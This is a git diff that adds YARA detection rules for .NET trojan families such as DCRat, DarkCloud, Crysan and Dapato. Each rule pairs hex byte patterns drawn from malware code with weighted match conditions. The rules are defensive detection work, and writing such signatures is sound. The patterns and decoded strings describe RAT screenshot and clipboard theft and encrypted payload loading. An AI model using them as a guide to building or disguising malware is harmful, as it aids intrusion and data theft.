a/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ZJQ_MTB.yar b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ZJQ_MTB.yar new file mode 100644 index 0000000000..06227e698c --- /dev/null +++ b/Trojan/BAT/Crysan/Trojan_BAT_Crysan_ZJQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Crysan_ZJQ_MTB{ + meta: + description = "Trojan:BAT/Crysan.ZJQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {7a 11 02 16 28 ?? 00 00 0a 13 03 38 ?? ff ff ff 73 ?? 00 00 0a 7a 11 00 16 73 ?? 00 00 0a 13 04 38 ?? ff ff ff 11 01 6f ?? 00 00 0a 25 8e 69 11 03 3b } //6 + $a_03_1 = {11 01 11 05 16 11 06 6f ?? 00 00 0a 38 ?? 00 00 00 11 04 11 05 16 11 05 8e 69 6f ?? 00 00 0a 25 13 06 16 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_GTD_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_GTD_MTB.yar new file mode 100644 index 0000000000..a3716255fd --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_GTD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DCRat_GTD_MTB{ + meta: + description = "Trojan:BAT/DCRat.GTD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {04 06 08 16 6f ?? 00 00 0a 0d 12 03 28 ?? 00 00 0a 6f ?? 00 00 0a 08 17 d6 0c 08 07 31 de } //10 + $a_01_1 = {4c 00 30 00 35 00 78 00 53 00 30 00 4e 00 45 00 56 00 48 00 42 00 6e 00 4c 00 6e 00 42 00 75 00 5a 00 77 00 } //1 L05xS0NEVHBnLnBuZw + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_LM_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_LM_MTB.yar new file mode 100644 index 0000000000..23a162c9d6 --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_LM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DCRat_LM_MTB{ + meta: + description = "Trojan:BAT/DCRat.LM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_01_0 = {02 28 3f 00 00 0a 6f 40 00 00 0a 0a 14 0b 06 6f 41 00 00 0a 8e 69 16 31 10 17 8d 0b 00 00 01 25 16 16 8d 15 00 00 01 a2 0b 06 14 07 74 0a 00 00 1b 6f 42 00 00 0a 26 } //20 + $a_01_1 = {73 38 00 00 0a 0b 00 07 02 6f 39 00 00 0a 0c 08 28 3a 00 00 0a 73 3b 00 00 0a 0a de 20 08 2c 06 08 6f 3c 00 00 0a dc 28 1e 00 00 0a 20 d0 07 00 00 28 3d 00 00 0a 28 3e 00 00 0a de c9 06 2a } //10 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_MMK_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_MMK_MTB.yar new file mode 100644 index 0000000000..28b5310766 --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_MMK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DCRat_MMK_MTB{ + meta: + description = "Trojan:BAT/DCRat.MMK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {20 00 00 00 00 fe 0e 01 00 fe 0c 01 00 20 01 00 00 00 40 00 00 00 00 73 1d 00 00 0a 7e 02 00 00 04 6f ?? 00 00 0a 0a 7e 03 00 00 04 06 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_ND_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_ND_MTB.yar index 9215cf91ad..3fcd6b05a8 100644 --- a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_ND_MTB.yar +++ b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_ND_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_BAT_DCRat_ND_MTB{ + meta: + description = "Trojan:BAT/DCRat.ND!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {28 25 00 00 0a 28 ?? 00 00 06 6f ?? 00 00 0a 6f ?? 00 00 0a 0b 07 28 ?? 00 00 0a 00 07 } //2 + $a_03_1 = {72 8d 00 00 70 28 ?? 00 00 0a 00 20 ?? 0d 00 00 28 ?? 00 00 0a 00 28 } //3 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*3) >=5 + +} +rule Trojan_BAT_DCRat_ND_MTB_2{ meta: description = "Trojan:BAT/DCRat.ND!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_PCO_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_PCO_MTB.yar new file mode 100644 index 0000000000..a267146c23 --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_PCO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DCRat_PCO_MTB{ + meta: + description = "Trojan:BAT/DCRat.PCO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {6f 40 02 00 0a 6f 41 02 00 0a 00 09 08 1f 10 6f 40 02 00 0a 6f 42 02 00 0a 00 09 09 6f 43 02 00 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SFG_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SFG_MTB.yar new file mode 100644 index 0000000000..5ba3b61b19 --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SFG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DCRat_SFG_MTB{ + meta: + description = "Trojan:BAT/DCRat.SFG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {73 1d 00 00 0a 7e 02 00 00 04 6f 1e 00 00 0a 0a 7e 03 00 00 04 06 28 11 29 00 06 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SISI_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SISI_MTB.yar new file mode 100644 index 0000000000..23c9cf86db --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SISI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DCRat_SISI_MTB{ + meta: + description = "Trojan:BAT/DCRat.SISI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {08 8d 24 00 00 01 13 04 7e ?? ?? ?? 04 02 1a 58 11 04 16 08 28 12 00 00 0a 28 56 00 00 0a 11 04 16 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SLDG_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SLDG_MTB.yar new file mode 100644 index 0000000000..ebe5ea643f --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SLDG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DCRat_SLDG_MTB{ + meta: + description = "Trojan:BAT/DCRat.SLDG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {6f 4d 00 00 0a 72 54 01 00 70 6f 4e 00 00 0a 0a 06 6f 4f 00 00 0a d4 8d 2a 00 00 01 0b 06 07 16 07 8e 69 6f 50 00 00 0a 26 28 51 00 00 0a 0c 08 28 52 00 00 0a 1f ?? 28 53 00 00 0a 6f 54 00 00 0a 6f 55 00 00 0a } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SLEO_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SLEO_MTB.yar new file mode 100644 index 0000000000..e318e797d6 --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SLEO_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_DCRat_SLEO_MTB{ + meta: + description = "Trojan:BAT/DCRat.SLEO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 00 " + + strings : + $a_81_0 = {44 61 72 6b 43 72 79 73 74 61 6c 20 52 41 54 } //5 DarkCrystal RAT + $a_81_1 = {53 6f 6d 65 74 68 69 6e 67 20 69 73 20 66 69 73 68 79 2e 20 5b 7b 30 7d 5d } //5 Something is fishy. [{0}] + $a_81_2 = {5b 53 63 72 65 65 6e 73 68 6f 74 5d 20 53 61 76 69 6e 67 20 73 63 72 65 65 6e 73 68 6f 74 73 20 66 72 6f 6d } //1 [Screenshot] Saving screenshots from + $a_81_3 = {5b 43 6c 69 70 62 6f 61 72 64 5d 20 53 61 76 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 2e 2e } //1 [Clipboard] Saving information... + $a_81_4 = {5b 53 79 73 74 65 6d 49 6e 66 72 6f 6d 61 74 69 6f 6e 5d 20 53 61 76 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 2e 2e } //1 [SystemInfromation] Saving information... + condition: + ((#a_81_0 & 1)*5+(#a_81_1 & 1)*5+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=13 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SLUU_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SLUU_MTB.yar new file mode 100644 index 0000000000..e451de7650 --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_SLUU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DCRat_SLUU_MTB{ + meta: + description = "Trojan:BAT/DCRat.SLUU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {1f 1a 28 1d 00 00 0a 00 28 1e 00 00 0a 72 01 00 00 70 28 1f 00 00 0a 6f 20 00 00 0a 0c 08 28 21 00 00 0a 0d 7e 07 00 00 04 2d 58 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DCRat_ZLU_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_ZLU_MTB.yar new file mode 100644 index 0000000000..b31ae61775 --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DCRat_ZLU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DCRat_ZLU_MTB{ + meta: + description = "Trojan:BAT/DCRat.ZLU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {17 58 20 00 01 00 00 5d 7d 13 00 00 04 02 02 7b 14 00 00 04 02 7b 12 00 00 04 02 7b 13 00 00 04 91 58 20 00 01 00 00 5d 7d 14 00 00 04 02 02 7b 13 00 00 04 02 7b 14 00 00 04 28 ?? 00 00 06 02 7b 12 00 00 04 02 7b 12 00 00 04 02 7b 13 00 00 04 91 02 7b 12 00 00 04 02 7b 14 00 00 04 91 58 20 00 01 00 00 5d 91 0c 06 07 03 07 91 08 61 d2 9c 07 17 58 0b 07 03 8e 69 3f 7b ff ff ff 06 2a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DcRat_ZNR_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DcRat_ZNR_MTB.yar new file mode 100644 index 0000000000..bb9630f084 --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DcRat_ZNR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DcRat_ZNR_MTB{ + meta: + description = "Trojan:BAT/DcRat.ZNR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {06 11 06 11 05 6f ?? 00 00 0a 13 07 09 11 04 20 ff 00 00 00 12 07 28 ?? 00 00 0a 59 1f 72 61 d2 9c 11 06 17 58 13 06 11 04 17 58 13 04 11 06 07 2f 07 11 04 09 8e 69 32 c7 11 05 17 58 13 05 11 05 08 32 b7 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_DcRat_ZTY_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_DcRat_ZTY_MTB.yar new file mode 100644 index 0000000000..44bcebc82f --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_DcRat_ZTY_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_DcRat_ZTY_MTB{ + meta: + description = "Trojan:BAT/DcRat.ZTY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {0a 09 18 6f ?? 00 00 0a 09 6f ?? 00 00 0a 13 04 07 73 ?? 00 00 0a 11 04 16 73 ?? 00 00 0a 28 ?? 00 00 0a 73 ?? 00 00 0a 6f ?? 00 00 0a 13 05 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/DCRat/Trojan_BAT_Dcrat_ZAT_MTB.yar b/Trojan/BAT/DCRat/Trojan_BAT_Dcrat_ZAT_MTB.yar new file mode 100644 index 0000000000..3e11bc52e7 --- /dev/null +++ b/Trojan/BAT/DCRat/Trojan_BAT_Dcrat_ZAT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Dcrat_ZAT_MTB{ + meta: + description = "Trojan:BAT/Dcrat.ZAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {01 00 04 02 7b ?? 01 00 04 02 7b ?? 01 00 04 91 02 7b ?? 01 00 04 02 7b ?? 01 00 04 91 58 20 00 01 00 00 5d 91 0c 06 07 03 07 91 08 61 d2 9c 07 17 58 0b 07 03 8e 69 } //6 + $a_03_1 = {23 07 02 7b ?? 01 00 04 09 91 58 03 09 06 5d 91 58 20 00 01 00 00 5d 0b 02 09 07 28 ?? 00 00 06 09 17 58 0d 09 20 00 01 00 00 32 d5 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Dapato/Trojan_BAT_Dapato_NP_MTB.yar b/Trojan/BAT/Dapato/Trojan_BAT_Dapato_NP_MTB.yar new file mode 100644 index 0000000000..12fc0962c6 --- /dev/null +++ b/Trojan/BAT/Dapato/Trojan_BAT_Dapato_NP_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Dapato_NP_MTB{ + meta: + description = "Trojan:BAT/Dapato.NP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {02 28 07 00 00 06 00 00 72 13 00 00 70 28 23 00 00 0a 8e 69 17 fe 02 0c 08 2c 14 00 72 13 00 00 70 28 23 00 00 0a 16 9a } //3 + $a_01_1 = {4b 6e 6f 63 6b 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 Knocker.Properties.Resources + $a_01_2 = {6b 6e 6b 73 76 63 2e 65 78 65 } //1 knksvc.exe + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_ABTA_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_ABTA_MTB.yar new file mode 100644 index 0000000000..1e5cf6650d --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_ABTA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkCloud_ABTA_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.ABTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 0c 1a 8d ?? 00 00 01 0d 08 09 16 09 8e 69 6f ?? 00 00 0a 26 09 16 28 ?? 00 00 0a 13 04 08 16 73 ?? 00 00 0a 13 05 2b 3e 8d ?? 00 00 01 2b 3b 16 2b 3c 2b 15 2b 3c 2b 3e 2b 40 2b 42 2b 44 2b 46 59 6f ?? 00 00 0a 58 13 07 1c 2c 09 11 07 11 04 17 2c f3 32 df 11 06 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AB_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AB_MTB.yar new file mode 100644 index 0000000000..f10eb754bf --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_DarkCloud_AB_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {01 13 06 07 09 8e 69 11 06 16 11 06 8e 69 28 54 04 00 0a 00 11 05 11 06 16 11 06 8e 69 6f } //2 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + $a_01_2 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_ADC_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_ADC_MTB.yar new file mode 100644 index 0000000000..2ff7c990c6 --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_ADC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkCloud_ADC_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.ADC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {08 1f 63 58 0c 00 03 12 03 28 ?? 00 00 0a 6f ?? 00 00 0a 00 11 04 17 59 25 13 04 16 fe 02 16 fe 01 13 0b 11 0b 2c 02 2b 46 03 12 03 28 ?? 00 00 0a 6f ?? 00 00 0a 00 11 04 17 59 25 13 04 16 fe 02 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AEBB_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AEBB_MTB.yar new file mode 100644 index 0000000000..34c6babdba --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AEBB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkCloud_AEBB_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.AEBB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 08 11 06 6f ?? 00 00 0a 13 07 08 02 6f ?? 00 00 0a 5a 11 06 58 13 08 19 8d ?? 00 00 01 25 16 12 07 28 ?? 00 00 0a 9c 25 17 12 07 28 ?? 00 00 0a 9c 25 18 12 07 28 ?? 00 00 0a 9c 13 09 12 07 28 ?? 00 00 0a 12 07 28 ?? 00 00 0a 58 12 07 28 ?? 00 00 0a 58 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AFWA_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AFWA_MTB.yar new file mode 100644 index 0000000000..843bef33fa --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AFWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkCloud_AFWA_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.AFWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 11 11 11 16 6f ?? 00 00 0a 13 17 73 ?? 00 00 0a 13 18 11 18 72 ?? ?? 00 70 11 11 11 16 73 ?? 00 00 0a 6f ?? 00 00 0a 11 18 72 ?? ?? 00 70 28 ?? 00 00 0a 8c ?? 00 00 01 6f ?? 00 00 0a 11 18 72 ?? ?? 00 70 72 ?? ?? 00 70 11 09 1e 5d 13 1f 12 1f 28 ?? 00 00 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 11 18 72 ?? ?? 00 70 11 10 8c ?? 00 00 01 6f ?? 00 00 0a 11 0e 11 18 6f ?? 00 00 0a 12 17 28 ?? 00 00 0a 13 19 12 17 28 ?? 00 00 0a 13 1a 12 17 28 ?? 00 00 0a 13 1b 1b 8d ?? 00 00 01 25 16 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AIRA_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AIRA_MTB.yar new file mode 100644 index 0000000000..42c82c6eec --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AIRA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkCloud_AIRA_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.AIRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {13 09 11 09 06 7d ?? 00 00 04 11 09 02 11 07 11 08 6f ?? 00 00 0a 7d ?? 00 00 04 11 09 04 11 09 7b ?? 00 00 04 7b ?? 00 00 04 6f ?? 00 00 0a 59 7d ?? 00 00 04 7e ?? 00 00 04 25 2d 17 26 7e ?? 00 00 04 fe ?? ?? 00 00 06 73 ?? 00 00 0a 25 80 ?? 00 00 04 13 0a 11 09 fe ?? ?? 00 00 06 73 ?? 00 00 0a 13 0b 11 09 } //5 + $a_03_1 = {01 25 16 02 7c ?? 00 00 04 28 ?? 00 00 0a 9c 25 17 02 7c ?? 00 00 04 28 ?? 00 00 0a 9c 25 18 02 7c ?? 00 00 04 28 ?? 00 00 0a 9c } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AIXA_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AIXA_MTB.yar new file mode 100644 index 0000000000..b171e35cb8 --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AIXA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkCloud_AIXA_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.AIXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {11 00 11 03 02 11 03 91 03 11 03 11 01 5d 6f ?? 00 00 0a 61 d2 9c 20 } //4 + $a_01_1 = {11 03 17 58 13 03 20 } //2 + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AKUA_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AKUA_MTB.yar new file mode 100644 index 0000000000..a118a1bb69 --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AKUA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_DarkCloud_AKUA_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.AKUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 73 ?? 00 00 0a 13 05 11 05 11 04 6f ?? 00 00 0a 17 73 ?? 00 00 0a 13 06 2b 1c 2b 1e 16 2b 1e 8e 69 2b 1d 2b 22 2b 24 2b 29 2b 2a 2b 2c 6f ?? 00 00 06 17 0b de 6a 11 06 2b e0 06 2b df 06 2b df 6f ?? 00 00 0a 2b dc 11 06 2b da 6f ?? 00 00 0a 2b d5 03 2b d4 11 05 2b d2 6f ?? 00 00 0a 2b cd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AOVA_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AOVA_MTB.yar new file mode 100644 index 0000000000..0bc72b6762 --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AOVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_DarkCloud_AOVA_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.AOVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 6f ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 17 73 ?? 00 00 0a 13 05 2b 32 2b 34 16 2b 34 8e 69 2b 33 2b 38 2b 3a 2b 3f 2b 41 2b 46 72 ?? ?? 00 70 03 11 06 28 ?? 00 00 06 05 72 ?? ?? 00 70 6f ?? 00 00 0a 17 0b dd ?? 00 00 00 11 05 2b ca 06 2b c9 06 2b c9 6f ?? 00 00 0a 2b c6 11 05 2b c4 6f ?? 00 00 0a 2b bf 11 04 2b bd 6f ?? 00 00 0a 2b b8 13 06 2b b6 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AQVA_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AQVA_MTB.yar new file mode 100644 index 0000000000..3d896c703a --- /dev/null +++ b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_AQVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_DarkCloud_AQVA_MTB{ + meta: + description = "Trojan:BAT/DarkCloud.AQVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0c 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 6f ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 17 73 ?? 00 00 0a 13 05 11 05 06 16 06 8e 69 6f ?? 00 00 0a 11 05 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 06 03 72 ?? ?? 00 70 11 06 6f ?? 00 00 06 17 0b dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_ARTA_MTB.yar b/Trojan/BAT/DarkCloud/Trojan_BAT_DarkCloud_ARTA_MTB.yar new file mode 100644 index 0000000000..621ab710a8 --- /dev/null +++ 